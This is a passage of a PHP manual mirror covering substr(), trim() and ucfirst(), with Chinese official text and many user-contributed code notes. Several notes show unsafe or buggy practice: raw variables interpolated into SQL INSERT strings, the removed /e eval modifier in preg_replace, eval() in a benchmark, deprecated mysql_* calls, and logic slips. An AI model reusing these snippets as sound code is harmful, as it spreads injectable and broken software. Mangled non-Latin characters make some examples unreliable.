    echo "<br>".bite_str($str,$i,20);
}
?>
fanfatal at fanfatal dot pl 16-May-2005 11:45
Hmm ... this is a script I wrote, whitch is very similar to substr, but it isn't takes html and bbcode for counting and it takes portion of string and show avoided (html & bbcode) tags too ;]
Specially usefull for show part of serach result included html and bbcode tags

<?php

/**
 * string csubstr ( string string, int start [, int length] )
 *
 * @author FanFataL
 * @param string string
 * @param int start
 * @param [int length]
 * @return string
 */
function csubstr($string, $start, $length=false) {
    $pattern = '/(\[\w+[^\]]*?\]|\[\/\w+\]|<\w+[^>]*?>|<\/\w+>)/i';
    $clean = preg_replace($pattern, chr(1), $string);
    if(!$length)
        $str = substr($clean, $start);
    else {
        $str = substr($clean, $start, $length);
        $str = substr($clean, $start, $length + substr_count($str, chr(1)));
    }
    $pattern = str_replace(chr(1),'(.*?)',preg_quote($str));
    if(preg_match('/'.$pattern.'/is', $string, $matched))
        return $matched[0];
    return $string;
}

?>

Using this is similar to simple substr.

Greatings ;]
...
woutermb at gmail dot com 21-Mar-2005 11:19
Well this is a script I wrote, what it does is chop up long words with malicious meaning into several parts. This way, a chat in a table will not get stretched anymore.

<?php

function text($string,$limit=20,$chop=10){

$text = explode(" ",$string);
while(list($key, $value) = each($text)){
    $length = strlen($value);
    if($length >=20){
        for($i=0;$i<=$length;$i+=10){
            $new .= substr($value, $i, 10);
            $new .= " ";
        }
         $post .= $new;
    }
    elseif($length <=15){
        $post .= $value;
    }
    $post .= " ";
}
return($post);
}

// for example, this would return:
$output = text("Well this text doesn't get cut up, yet thisssssssssssssssssssssssss one does.", 10, 5);

echo($output); // "Well this text doesn't get cup up, yet thiss sssss sssss sssss sssss sss one does."
?>

I hope it was useful.. :)
steve at unicycle dot co dot nz 13-Mar-2005 09:34
To quickly trim an optional trailing slash off the end of a path name:

if (substr( $path, -1 ) == '/') $path = substr( $path, 0, -1 );
05-Jul-2003 05:39
If you want to substring the middle of a string with another and keep the words intact:

<?php
/**
 * Reduce a string by the middle, keeps whole words together
 *
 * @param string $string
 * @param int $max (default 50)
 * @param string $replacement (default [...])
 * @return string
 * @author david at ethinkn dot com
 * @author loic at xhtml dot ne
 * @author arne dot hartherz at gmx dot net
 */

function strMiddleReduceWordSensitive ($string, $max = 50, $rep = '[...]') {
    $strlen = strlen($string);

    if ($strlen <= $max)
        return $string;

    $lengthtokeep = $max - strlen($rep);
    $start = 0;
    $end = 0;

    if (($lengthtokeep % 2) == 0) {
        $start = $lengthtokeep / 2;
        $end = $start;
    } else {
        $start = intval($lengthtokeep / 2);
        $end = $start + 1;
    }

    $i = $start;
    $tmp_string = $string;
    while ($i < $strlen) {
        if ($tmp_string[$i] == ' ') {
            $tmp_string = substr($tmp_string, 0, $i) . $rep;
            $return = $tmp_string;
        }
        $i++;
    }

    $i = $end;
    $tmp_string = strrev ($string);
    while ($i < $strlen) {
        if ($tmp_string[$i] == ' ') {
            $tmp_string = substr($tmp_string, 0, $i);
            $return .= strrev ($tmp_string);
        }
        $i++;
    }
    return $return;
    return substr($string, 0, $start) . $rep . substr($string, - $end);
}

echo strMiddleReduceWordSensitive ('ABCDEEF GHIJK LLKJHKHKJHKL HGHFK sdfasdfsdafsdf sadf asdf sadf sad s', 30) . "\n";
// Returns: ABCDEEF GHIJK[...]asdf sadf sad s (33 chrs)
echo strMiddleReduceWordSensitive ('ABCDEEF GHIJK LLKJHKHKJHKL HGHFK sdfasdfsdafsdf sadf asdf sadf sad s', 30, '...') . "\n";
// Returns: ABCDEEF GHIJK...asdf sadf sad s (32 chrs)
?>


去除字符串首尾处的空白字符（或者其他字符）

  • ? substr
  • ucfirst ?
  • PHP Manual
  • 字符串 函数
  • 去除字符串首尾处的空白字符（或者其他字符）

trim

(PHP 4, PHP 5, PHP 7)

trim — 去除字符串首尾处的空白字符（或者其他字符）

说明

trim ( string $str [, string $character_mask = " \t\n\r\0\x0B" ] ) : string

此函数返回字符串 str 去除首尾空白字符后的结果。如果不指定第二个参数，trim() 将去除这些字符：

  • " " (ASCII 32 (0x20))，普通空格符。
  • "\t" (ASCII 9 (0x09))，制表符。
  • "\n" (ASCII 10 (0x0A))，换行符。
  • "\r" (ASCII 13 (0x0D))，回车符。
  • "\0" (ASCII 0 (0x00))，空字节符。
  • "\x0B" (ASCII 11 (0x0B))，垂直制表符。

参数

str

待处理的字符串。

character_mask

可选参数，过滤字符也可由 character_mask 参数指定。一般要列出所有希望过滤的字符，也可以使用 ".." 列出一个字符范围。

返回值

过滤后的字符串。

范例

Example #1 trim() 使用范例

<?php

$text   = "\t\tThese are a few words :) ...  ";
$binary = "\x09Example string\x0A";
$hello  = "Hello World";
var_dump($text, $binary, $hello);

print "\n";

$trimmed = trim($text);
var_dump($trimmed);

$trimmed = trim($text, " \t.");
var_dump($trimmed);

$trimmed = trim($hello, "Hdle");
var_dump($trimmed);

// 清除 $binary 首位的 ASCII 控制字符
// （包括 0-31）
$clean = trim($binary, "\x00..\x1F");
var_dump($clean);

?>

以上例程会输出：

string(32) "        These are a few words :) ...  "
string(16) "    Example string
"
string(11) "Hello World"

string(28) "These are a few words :) ..."
string(24) "These are a few words :)"
string(5) "o Wor"
string(14) "Example string"

Example #2 使用 trim() 清理数组值

<?php
function trim_value(&$value)
{
    $value = trim($value);
}

$fruit = array('apple','banana ', ' cranberry ');
var_dump($fruit);

array_walk($fruit, 'trim_value');
var_dump($fruit);

?>

以上例程会输出：

array(3) {
  [0]=>
  string(5) "apple"
  [1]=>
  string(7) "banana "
  [2]=>
  string(11) " cranberry "
}
array(3) {
  [0]=>
  string(5) "apple"
  [1]=>
  string(6) "banana"
  [2]=>
  string(9) "cranberry"
}

注释

Note: Possible gotcha: removing middle characters

Because trim() trims characters from the beginning and end of a string, it may be confusing when characters are (or are not) removed from the middle. trim('abc', 'bad') removes both 'a' and 'b' because it trims 'a' thus moving 'b' to the beginning to also be trimmed. So, this is why it "works" whereas trim('abc', 'b') seemingly does not.

参见

  • ltrim() - 删除字符串开头的空白字符（或其他字符）
  • rtrim() - 删除字符串末端的空白字符（或者其他字符）
  • str_replace() - 子字符串替换

User Contributed Notes

roger21 at free dot fr 04-Apr-2019 11:02
It is worth mentioning that trim, ltrim and rtrim are NOT multi-byte safe, meaning that trying to remove an utf-8 encoded non-breaking space for instance will result in the destruction of utf-8 characters than contain parts of the utf-8 encoded non-breaking space, for instance:

non breaking-space is "\u{a0}" or "\xc2\xa0" in utf-8, "μ" is "\u{b5}" or "\xc2\xb5" in utf-8 and "à" is "\u{e0}" or "\xc3\xa0" in utf-8

$input = "\u{a0}μ déjà\u{a0}"; // " μ déjà "
$output = trim($input, "\u{a0}"); // "? déj?" or whatever how the interpretation of broken utf-8 characters is performed

$output got both "\u{a0}" characters removed but also both "μ" and "à" characters destroyed
igor dot pellegrini at berlinonline dot de 04-Apr-2019 10:36
Beware with trimming apparently innocent characters. It is NOT a Unicode-safe function:

<?php
echo trim('≈ [Approximation sign]', '- [en-dash]');  // ?? [Approximation sig
?>

The en-dash here is breaking the Unicode characters.

And also prevents the open-square-bracket from being seen as part of the characters to trim on the left side, letting it untouched in the resulting string.
Mark-Centurion at ya dot ru 16-Feb-2019 05:54
utf-8:
trim($text, " \t\n\r\0\x0B\xC2\xA0");
solaimanshah059 at gmail dot com 18-Aug-2018 10:02
Simple Example I hope you will understand easily:

<?php

// Inserting empty variable;

$name = "";

if( !(empty( $name )) )
{
   $sql = "INSERT INTO `users`( name ) VALUE( '$name' );";
}

// But is not empty that will be inserted but space

$name2 = "     ";

if( !(empty( $name )) )
{
   $sql = "INSERT INTO `users`( name ) VALUE( '$name' );";
}

// Now that will not be inserted by using trim() function

$name3 = "     ";

if( !(empty( trim($name) )) )
{
   $sql = "INSERT INTO `users`( name ) VALUE( '$name' );";
}

?>
aalhad at NOSPAM dot gmail dot com 11-Jan-2018 11:28
When specifying the character mask,
make sure that you use double quotes

<?php
  $hello = "
      Hello World   "; //here is a string with some trailing and leading whitespace

  $trimmed_correct   = trim($hello, " \t\n\r"); //<--------OKAY
  $trimmed_incorrect = trim($hello, ' \t\n\r'); //<--------NOT AS EXPECTED

  print("----------------------------");
  print("TRIMMED OK:".PHP_EOL);
  print_r($trimmed_correct.PHP_EOL);
  print("----------------------------");
  print("TRIMMING NOT OK:".PHP_EOL);
  print_r($trimmed_incorrect.PHP_EOL);
  print("----------------------------".PHP_EOL);
?>

Here is the output:

----------------------------TRIMMED OK:
Hello World
----------------------------TRIMMING NOT OK:

      Hello World
----------------------------
johovich at yandex dot ru 30-Jul-2017 10:17
trim is the fastest way to remove first and last char.

Benchmark comparsion 4 different ways to trim string with  '/'
4 functions with the same result - array exploded by '/'

<?php
$s = '/catalog/lyustry/svet/dom-i-svet/';

$times = 100000;

print cycle("str_preg('$s');", $times);
print cycle("str_preg2('$s');", $times);
print cycle("str_sub_replace('$s');", $times);
print cycle("str_trim('$s');", $times);
print cycle("str_clear('$s');", $times);

//print_r(str_preg2($s));

function cycle($function, $times){
    $count = 0;
    if($times < 1){
        return false;
    }
    $start = microtime(true);
    while($times > $count){
        eval($function);
        $count++;
    }
    $end = microtime(true) - $start;
    return "\n $function exec time: $end";
}

function str_clear($s){
    $s = explode('/', $s);
    $s = array_filter($s, function ($s){if(!empty($s)) return true;});
    return $s;
}

function str_preg2($s){
    $s = preg_replace('/((?<!.)\/(?=.))?((?<=.)\/(?!.))?/i', '', $s);
    $s = explode('/', $s);
    return $s;
}

function str_preg($s){
    $s = preg_replace('/^(\/?)(.*?)(\/?)$/i', '$2', $s);
    $s = explode('/', $s);
    return $s;
}

function str_sub_replace($s){
    $s = str_replace('/' , '' , mb_substr( $s , 0, 1)) . mb_substr( $s , 1, -1) . str_replace('/', '', mb_substr(  $s , -1));
    $s = explode('/', $s);
    return $s;
}

function str_trim($s){
    $s = trim($s, '/');
    $s = explode('/', $s);
    return $s;
}
tongcheong77 at gmail dot com 09-Jul-2017 12:39
if you are using trim and you still can't remove the whitespace then check if your closing tag inside the html document is NOT at the next line.

<textarea class="form-control" rows="5"><?php echo trim($comment);?></textarea>

there should be no spaces at the beginning and end of your echo statement, else trim will not work as expected.
ivijan dot stefan at gmail dot com 03-Jul-2017 09:06
Standard trim() functions can be a problematic when come HTML entities. That's why i wrote "Super Trim" function what is used to handle with this problem and also you can choose is trimming from the begin, end or booth side of string.
<?php
function strim($str,$charlist=" ",$option=0){
    if(is_string($str))
    {
        // Translate HTML entities
        $return = strtr($str, array_flip(get_html_translation_table(HTML_ENTITIES, ENT_QUOTES)));
        // Remove multi whitespace
        $return = preg_replace("@\s+\s@Ui"," ",$return);
        // Choose trim option
        switch($option)
        {
            // Strip whitespace (and other characters) from the begin and end of string
            default:
            case 0:
                $return = trim($return,$charlist);
            break;
            // Strip whitespace (and other characters) from the begin of string
            case 1:
                $return = ltrim($return,$charlist);
            break;
            // Strip whitespace (and other characters) from the end of string
            case 2:
                $return = rtrim($return,$charlist);
            break;

        }
    }
    return $return;
}
?>
Anonymous 11-Jun-2017 04:45
The comment of "ludko2 at gmail dot com" for trimming non-breaking spaces is wrong due the the way UTF-8 works. For example, it breaks on `"&nbsp;abà"`.
jianglong at qiyi dot com 13-May-2015 08:09
Trim full width space will return mess character,  when target string starts with '《'

@example
echo trim("《", "　");

@return
?

php version 5.4.27

[EDIT by cmb AT php DOT net: it is not necessarily safe to use trim with multibyte character encodings. The given example is equivalent to echo trim("\xe3\80\8a", "\xe3\x80\x80").]
ludko2 at gmail dot com 09-Jul-2010 02:28
Non-breaking spaces can be troublesome with trim:

<?php
// turn some HTML with non-breaking spaces into a "normal" string
$myHTML = "&nbsp;abc";
$converted = strtr($myHTML, array_flip(get_html_translation_table(HTML_ENTITIES, ENT_QUOTES)));

// this WILL NOT work as expected
// $converted will still appear as " abc" in view source
// (but not in od -x)
$converted = trim($converted);

// &nbsp; are translated to 0xA0, so use:
$converted = trim($converted, "\xA0"); // <- THIS DOES NOT WORK

// EDITED>>
// UTF encodes it as chr(0xC2).chr(0xA0)
$converted = trim($converted,chr(0xC2).chr(0xA0)); // should work

// PS: Thanks to John for saving my sanity!
?>
Piopier 12-Jan-2007 06:06
It may be useful to know that trim() returns an empty string when the argument is an unset/null variable.
dmr37 at cornell dot edu 17-May-2005 12:47
If you want to check whether something ONLY has whitespaces, use the following:

<?php

if (trim($foobar)=='') {
   echo 'The string $foobar only contains whitespace!';
}

?>
Hayley Watson 07-Feb-2005 04:46
Another way to trim all the elements of an array
<?php
$newarray = array_map('trim', $array);
?>
jubi at irc dot pl 20-Apr-2004 06:48
To remove multiple occurences of whitespace characters in a string an convert them all into single spaces, use this:

<?

$text = preg_replace('/\s+/', ' ', $text);

?>

------------
JUBI
http://www.jubi.buum.pl
HW 05-Jun-2003 06:32
You can combine character ranges and individual characters in trim()'s second argument (ditto for ltrim and rtrim). All of the specified characters and ranges will be used concurrently (i.e., if a character on either end of the string matches any of the specified charaters or character ranges, it will be trimmed). The characters and character ranges can be in any order (except of course that the character ranges need to be specified in increasing order) and may overlap.
E.g., trim any nongraphical non-ASCII character:
trim($text,"\x7f..\xff\x0..\x1f");


将字符串的首字母转换为大写

  • ? trim
  • ucwords ?
  • PHP Manual
  • 字符串 函数
  • 将字符串的首字母转换为大写

ucfirst

(PHP 4, PHP 5, PHP 7)

ucfirst — 将字符串的首字母转换为大写

说明

ucfirst ( string $str ) : string

将 str 的首字符（如果首字符是字母）转换为大写字母，并返回这个字符串。

注意字母的定义取决于当前区域设定。例如，在默认的 "C" 区域，字符 umlaut-a（?）将不会被转换。

参数

str

输入字符串。

返回值

返回结果字符串。

范例

Example #1 ucfirst() 范例

<?php
$foo = 'hello world!';
$foo = ucfirst($foo);             // Hello world!

$bar = 'HELLO WORLD!';
$bar = ucfirst($bar);             // HELLO WORLD!
$bar = ucfirst(strtolower($bar)); // Hello world!
?>

参见

  • lcfirst() - 使一个字符串的第一个字符小写
  • strtolower() - 将字符串转化为小写
  • strtoupper() - 将字符串转化为大写
  • ucwords() - 将字符串中每个单词的首字母转换为大写

User Contributed Notes

Anonymous 23-Aug-2017 12:48
Format the input string:

<?php

function ucsentences($string){
    $parts = preg_split('/([^\.\!\?;]+[\.\!\?;"]+)/', strtolower($string), (-1), PREG_SPLIT_DELIM_CAPTURE|PREG_SPLIT_NO_EMPTY);
    $r = '';
    foreach($parts as $key=>$sentence){
        $r .= ucfirst(trim($sentence)) . ' ';
    }
    $r = preg_replace('/\bi\b/', 'I', $r);
    $r = preg_replace_callback('/("[a-z])/', function($m){ return strtoupper($m[0]);}, $r);
    return rtrim($r);
}

$str = 'i\'m not sure. if this is good enough, but i thought: "hey, who know\'s. maybe i am right."';

?>
Outputs:
I'm not sure. If this is good enough, but I thought: "Hey, who know's. Maybe I am right."
nospam at nospam dot com 22-Feb-2017 07:46
Improved method of capitalizing first characters of sentences.
The first two manipulations (double spaces & all caps) are optional so can be removed without harm.

<?php
// return string with first letters of sentences capitalized
function ucsentence($str) {
  if ($str) { // input
    $str = preg_replace('/'.chr(32).chr(32).'+/', chr(32), $str); // recursively replaces all double spaces with a space
    if (($x = substr($str, 0, 10)) && ($x == strtoupper($x))) $str = strtolower($str); // sample of first 10 chars is ALLCAPS so convert $str to lowercase; if always done then any proper capitals would be lost
    $na = array('. ', '! ', '? '); // punctuation needles
    foreach ($na as $n) { // each punctuation needle
      if (strpos($str, $n) !== false) { // punctuation needle found
        $sa = explode($n, $str); // split
        foreach ($sa as $s) $ca[] = ucfirst($s); // capitalize
        $str = implode($n, $ca); // replace $str with rebuilt version
        unset($ca); //  clear for next loop
      }
    }
    return ucfirst(trim($str)); // capitalize first letter in case no punctuation needles found
  }
}
?>

"heLLo EarthLing!" >> "HeLLo EarthLing!"
"I'M MOSTLY. caps!  " >> "I'm mostly. Caps!"
"ALLCAPS" >> "Allcaps"
"i haVe neST.ed punct,u.ation!  sp    A  c es.  and CAPs..  " >> "I haVe neST.ed punct,u.ation! Sp A c es. And CAPs.."
kiprasbal at gmail dot com 16-May-2014 06:34
My version, converst first letter of the first word in the string to uppercase

public function mb_ucfirst($str) {
        $aParts = explode(" ",$str);
        $firstWord = mb_convert_case($aParts[0],MB_CASE_TITLE,"UTF-8");
        unset($aParts[0]);

        return $firstWord." ".implode(" ",$aParts);
    }
mingalevme at gmail dot com 05-Dec-2013 10:32
Implementation of multi-bytes ucfirst for "multiword"-strings (module mbstring is required):

<?php

public static function ucfirst($str)
{
    $str = mb_strtolower($str);
    $words = preg_split('/\b/u', $str, -1, PREG_SPLIT_NO_EMPTY);
    foreach ($words as $word) {
        $ucword = mb_strtoupper(mb_substr($word, 0, 1)) . mb_substr($word, 1);
        $str = str_replace($word, $ucword, $str);
    }
    return $str;
}

?>
Nethor 05-Oct-2012 04:14
Simple but workable solution:

<?php
mb_internal_encoding("UTF-8");  // before calling the function

function utf8_ucfirst($str){
    preg_match_all("~^(.)(.*)$~u", $str, $arr);
    return mb_strtoupper($arr[1][0]).$arr[2][0];
    }
?>
idont at remember dot it 18-May-2012 11:21
In case you need a French version of ucfirst:

"été indien" => "Eté indien"
"?a va?" => "?a va?"

<?php
function frenchUcfirst($v) {
  $lowCase  = "\\xE0\\xE1\\xE2\\xE3\\xE4\\xE5\\xE7\\xE8\\xE9\\xEA\\xEB\\xEC\\xED\\xEE\\xEF";
  $lowCase .= "\\xF1\\xF2\\xF3\\xF4\\xF5\\xF6\\xF8\\xF9\\xFA\\xFB\\xFC\\xFD\\xFF\\u0161";
  $upperCase = "AAAAAA\\xC7EEEEIIIINOOOOOOUUUUYYS";
  return strtoupper(strtr(substr($v, 0, 1), $lowCase, $upperCase)) . substr($v, 1);
}
?>

Note:
- Latin non french accented characters follow the same rule:
"?nd?" => "And?"
- Non ASCII characters in the function are in HEX format to avoid encoding issue...
qeremy [atta] gmail [dotta] com 27-Feb-2012 04:41
A proper Turkish solution;

<?php
function ucfirst_turkish($str) {
    $tmp = preg_split("//u", $str, 2, PREG_SPLIT_NO_EMPTY);
    return mb_convert_case(
        str_replace("i", "?", $tmp[0]), MB_CASE_TITLE, "UTF-8").
        $tmp[1];
}

$str = "iyilik güzelL?K";
echo ucfirst($str) ."\n";   // Iyilik güzelL?K
echo ucfirst_turkish($str); // ?yilik güzelL?K
?>
vlknmtn at gmail dot com 17-Aug-2011 04:31
Turkish solution:

<?php
mb_internal_encoding("UTF-8");
mb_regex_encoding("UTF-8");

function tr_ilkbuyuk($text)
{
    $text = str_replace("I","?",$text);
    $text = mb_strtolower($text, 'UTF-8');

    if($text[0] == "i")
        $tr_text = "?".substr($text, 1);
    else
        $tr_text = mb_convert_case($text, MB_CASE_TITLE, "UTF-8");

    return trim($tr_text);
}

function tr_ucwords($text)
{
    $p = explode(" ",$text);
    if(is_array($p))
    {
        $tr_text = "";
        foreach($p AS $item)
            $tr_text .= " ".tr_ilkbuyuk($item);

        return trim($tr_text);
    }
    else
        return tr_ilkbuyuk($text);
}

$deger = "?i?ll?lsdg";

echo tr_ucwords($deger);

?>
Quicker 10-May-2011 01:53
if you want to ucfirst for utf8 try this one:

<?php
function ucfirst_utf8($stri){
 if($stri{0}>="\xc3")
     return (($stri{1}>="\xa0")?
     ($stri{0}.chr(ord($stri{1})-32)):
     ($stri{0}.$stri{1})).substr($stri,2);
 else return ucfirst($stri);
}
?>

It is quick, not language (but utf8) dependend and does not use any mb-functions such as mb_ucfirst.
pete at namecube dot net 11-Apr-2010 07:08
for anyone wanting to ucfirst each word in a sentence this works for me:

<?php
function ucfirst_sentence($str)
{
    return preg_replace('/\b(\w)/e', 'strtoupper("$1")', $str);
}
?>
wilfried dot loche at fr dot adp dot com 22-Jan-2010 02:22
If someone looks for the equivalent on Oracle DB, here it is: INITCAP. Hope this helps!
octavius 26-Sep-2009 05:18
For lithuanian text with utf-8 encoding I use two functions (thanks [mattalexxpub at gmail dot com] and Svetoslav Marinov)

<?php
function my_ucfirst($string, $e ='utf-8') {
    if (function_exists('mb_strtoupper') && function_exists('mb_substr') && !empty($string)) {
        $string = mb_strtolower($string, $e);
        $upper = mb_strtoupper($string, $e);
            preg_match('#(.)#us', $upper, $matches);
            $string = $matches[1] . mb_substr($string, 1, mb_strlen($string, $e), $e);
    }
    else {
        $string = ucfirst($string);
    }
    return $string;
}

function sentence_case($string) {
    $sentences = preg_split('/([.?!]+)/', $string, -1, PREG_SPLIT_NO_EMPTY|PREG_SPLIT_DELIM_CAPTURE);
    $new_string = '';
    foreach ($sentences as $key => $sentence) {
        $new_string .= ($key & 1) == 0?
            my_ucfirst(strtolower(trim($sentence))) :
            $sentence.' ';
    }
    return trim($new_string);
}
?>
bgschool 30-Jul-2009 04:39
Simple function for use ucfirst with utf-8 encoded cyrylic text

<?php
    public function capitalize_first($str) {
        $line = iconv("UTF-8", "Windows-1251", $str); // convert to windows-1251
        $line = ucfirst($line);
        $line = iconv("Windows-1251", "UTF-8", $line); // convert back to utf-8

        return $line;
    }
?>
svetoslavm at gmail dot com 20-Nov-2008 07:40
For some reason this worked for me.

Mac OS 10.5.1
PHP 5.2.6

<?php
   /**
     * ucfirst UTF-8 aware function
     *
     * @param string $string
     * @return string
     * @see http://ca.php.net/ucfirst
     */
    function my_ucfirst($string, $e ='utf-8') {
        if (function_exists('mb_strtoupper') && function_exists('mb_substr') && !empty($string)) {
            $string = mb_strtolower($string, $e);
            $upper = mb_strtoupper($string, $e);
            preg_match('#(.)#us', $upper, $matches);
            $string = $matches[1] . mb_substr($string, 1, mb_strlen($string, $e), $e);
        } else {
            $string = ucfirst($string);
        }
        return $string;
    }
?>

Svetoslav Marinov
http://slavi.biz
mattalexxpub at gmail dot com 09-Nov-2008 05:10
This is what I use for converting strings to sentence case:

<?php
function sentence_case($string) {
    $sentences = preg_split('/([.?!]+)/', $string, -1, PREG_SPLIT_NO_EMPTY|PREG_SPLIT_DELIM_CAPTURE);
    $new_string = '';
    foreach ($sentences as $key => $sentence) {
        $new_string .= ($key & 1) == 0?
            ucfirst(strtolower(trim($sentence))) :
            $sentence.' ';
    }
    return trim($new_string);
}

print sentence_case('HMM. WOW! WHAT?');

// Outputs: "Hmm. Wow! What?"
?>
prokur.net - there is my email 29-Jun-2008 03:01
I believe that mb_ucfirst will be soon added in PHP, but for now this could be useful
<?php

if (!function_exists('mb_ucfirst') && function_exists('mb_substr')) {
    function mb_ucfirst($string) {
        $string = mb_strtoupper(mb_substr($string, 0, 1)) . mb_substr($string, 1);
        return $string;
    }
}

?>

it also check is mb support enabled or not
charliefortune 20-Feb-2008 03:48
Here's a function to capitalize segments of a name, and put the rest into lower case. You can pass the characters you want to use as delimiters.

i.e. <?php echo nameize("john o'grady-smith"); ?>

returns John O'Grady-Smith

<?php

function nameize($str,$a_char = array("'","-"," ")){
    //$str contains the complete raw name string
    //$a_char is an array containing the characters we use as separators for capitalization. If you don't pass anything, there are three in there as default.
    $string = strtolower($str);
    foreach ($a_char as $temp){
        $pos = strpos($string,$temp);
        if ($pos){
            //we are in the loop because we found one of the special characters in the array, so lets split it up into chunks and capitalize each one.
            $mend = '';
            $a_split = explode($temp,$string);
            foreach ($a_split as $temp2){
                //capitalize each portion of the string which was separated at a special character
                $mend .= ucfirst($temp2).$temp;
                }
            $string = substr($mend,0,-1);
            }
        }
    return ucfirst($string);
    }

?>
webmaster at onmyway dot cz 11-Feb-2008 03:31
Inspired by the lcfirst function a simple mb_lcfirst to cope with multibyte strings:

<?php
function mb_lcfirst($str, $enc = null)
{
  if($enc === null) $enc = mb_internal_encoding();
  return mb_strtolower(mb_substr($str, 0, 1, $enc), $enc).mb_substr($str, 1, mb_strlen($str, $enc), $enc);
}
?>
Uwe 26-Jul-2007 08:08
@adefoor, Ken and Zee

Changing the case can only be done by understanding the text. Take for example "USA", "Sunday", "March", "I am ...", abbreviations like "prob." and so on.
adefoor at gmail dot com 12-Jul-2007 11:57
Ken and zee

One thing I would do to make this more unviersally work would be to add strtolower() around your $sentence.  Doing this will allow you to convert an all caps text block as well as an all lowercase text block.

<?php

function sentence_cap($impexp, $sentence_split) {
    $textbad=explode($impexp, $sentence_split);
    $newtext = array();
    foreach ($textbad as $sentence) {
        $sentencegood=ucfirst(strtolower($sentence));
        $newtext[] = $sentencegood;
    }
    $textgood = implode($impexp, $newtext);
    return $textgood;
}

$text = "this is a sentence. this is another sentence! this is the fourth sentence? no, this is the fourth sentence.";
$text = sentence_cap(". ",$text);
$text = sentence_cap("! ",$text);
$text = sentence_cap("? ",$text);

echo $text; // This is a sentence. This is another sentence! This is the fourth sentence? No, this is the fourth sentence.

?>
Ken Kehler 14-Mar-2007 12:03
@ zee: this should solve your !, ?, and any punctuations you want to add. It can probably be cleaned up a bit.

<?php

function sentence_cap($impexp, $sentence_split) {
    $textbad=explode($impexp, $sentence_split);
    $newtext = array();
    foreach ($textbad as $sentence) {
        $sentencegood=ucfirst($sentence);
        $newtext[] = $sentencegood;
    }
    $textgood = implode($impexp, $newtext);
    return $textgood;
}

$text = "this is a sentence. this is another sentence! this is the fourth sentence? no, this is the fourth sentence.";
$text = sentence_cap(". ",$text);
$text = sentence_cap("! ",$text);
$text = sentence_cap("? ",$text);

echo $text; // This is a sentence. This is another sentence! This is the fourth sentence? No, this is the fourth sentence.

?>
Carel at divers information with dotcom 06-Jan-2007 02:55
I made a small change. Now it takes care of points in numbers

function ucsentence ($string){
   $string = explode ('.', $string);
   $count = count ($string);
   for ($i = 0; $i < $count; $i++){
       $string[$i]  = ucfirst (trim ($string[$i]));
       if ($i > 0){
           if ((ord($string[$i]{0})<48) || (ord($string[$i]{0})>57)) {
              $string[$i] = ' ' . $string[$i];
           }
       }
   }
   $string = implode ('.', $string);
   return $string;
}
26-Oct-2006 07:45
Some simple function for cyrillic and latin letters both:

function rucfirst($str) {
    if(ord(substr($str,0,1))<192) return ucfirst($str);
    else
    return chr(ord(substr($str,0,1))-32).substr($str,1);
}
Michael 12-Sep-2006 06:01
This is what you would expect php to deliver if there was a built-in function named ucsentence.

function ucsentence ($string){
    $string = explode ('.', $string);
    $count = count ($string);
    for ($i = 0; $i < $count; $i++){
        $string[$i]  = ucfirst (trim ($string[$i]));
        if ($i > 0){
            $string[$i] = '&nbsp;&nbsp;' . $string[$i];
        }
    }
    $string = implode ('.', $string);
    return $string;
}
Markus Ernst 31-Mar-2006 12:34
A combination of the below functions to enable ucfirst for multibyte strings in a shared hosting environment (where you can not always count on mbstring to be installed):

<?php
function my_mb_ucfirst($str, $e='utf-8') {
    if (function_exists('mb_strtoupper')) {
        $fc = mb_strtoupper(mb_substr($str, 0, 1, $e), $e);
        return $fc.mb_substr($str, 1, mb_strlen($str, $e), $e);
    }
    else {
        $str = utf8_decode($str);
        $str[0] = strtr($str[0],
            "abcdefghyijklmnopqrstuvwxyz".
            "\x9C\x9A\xE0\xE1\xE2\xE3".
            "\xE4\xE5\xE6\xE7\xE8\xE9".
            "\xEA\xEB\xEC\xED\xEE\xEF".
            "\xF0\xF1\xF2\xF3\xF4\xF5".
            "\xF6\xF8\xF9\xFA\xFB\xFC".
            "\xFE\xFF",
            "ABCDEFGHYIJKLMNOPQRSTUVWXYZ".
            "\x8C\x8A\xC0\xC1\xC2\xC3\xC4".
            "\xC5\xC6\xC7\xC8\xC9\xCA\xCB".
            "\xCC\xCD\xCE\xCF\xD0\xD1\xD2".
            "\xD3\xD4\xD5\xD6\xD8\xD9\xDA".
            "\xDB\xDC\xDE\x9F");
        return utf8_encode($str);
    }
}
?>
Bartuc 26-Feb-2006 05:28
Here is the fixed function for Turkish alphabet..

<?php

function uc_first($str){
   $str[0] = strtr($str,
   "abcdefgh?ijklmnopqrstuvwxyz".
   "\x9C\x9A\xE0\xE1\xE2\xE3".
   "\xE4\xE5\xE6\xE7\xE8\xE9".
   "\xEA\xEB\xEC\xED\xEE\xEF".
   "\xF0\xF1\xF2\xF3\xF4\xF5".
   "\xF6\xF8\xF9\xFA\xFB\xFC".
   "\xFE\xFF",
   "ABCDEFGHI?JKLMNOPQRSTUVWXYZ".
   "\x8C\x8A\xC0\xC1\xC2\xC3\xC4".
   "\xC5\xC6\xC7\xC8\xC9\xCA\xCB".
   "\xCC\xCD\xCE\xCF\xD0\xD1\xD2".
   "\xD3\xD4\xD5\xD6\xD8\xD9\xDA".
   "\xDB\xDC\xDE\x9F");
   return $str;
}

?>
Markus Ernst 12-Jan-2006 06:39
plemieux' function did not work for me without passing the encoding to every single mb function (despite ini_set('default_charset', 'utf-8') at the top of the script). This is the example that works in my application (PHP 4.3):

<?php
function my_mb_ucfirst($str, $e='utf-8') {
    $fc = mb_strtoupper(mb_substr($str, 0, 1, $e), $e);
    return $fc.mb_substr($str, 1, mb_strlen($str, $e), $e);
}
?>
plemieux 29-Sep-2005 11:05
Simple multi-bytes ucfirst():

<?php
function my_mb_ucfirst($str) {
    $fc = mb_strtoupper(mb_substr($str, 0, 1));
    return $fc.mb_substr($str, 1);
}
?>
info [at] spwdesign [dot] com 23-Jun-2005 12:48
This is a simple code to get all the 'bad words', stored in a database, out of the text. You could use str_ireplace but since that's installed on PHP5 only, this works as well. It strtolowers the text first then places capitals with ucfirst() where it thinks a capital should be placed, at a new sentence. The previous sentence is ended by '. ' then.

<?php
function filter($text){
    $filters=mysql_query("SELECT word,result FROM filter");
    while($filter=mysql_fetch_array($filters)){
        $text=str_replace($filter[word],$filter[result],strtolower($text));
        $parts=explode(". ",$text);
        for($i=0;$i<count($parts);$i++){
            $parts[$i]=ucfirst($parts[$i]);
        }
        $text=implode(". ",$parts);
    }
    return $text;
}
?>
12-Mar-2005 05:11
Ah, the last code were spoiled, here is the fixed one:

<?php

function uc_first($str){
    $str[0] = strtr($str,
    "abcdefghijklmnopqrstuvwxyz".
    "\x9C\x9A\xE0\xE1\xE2\xE3".
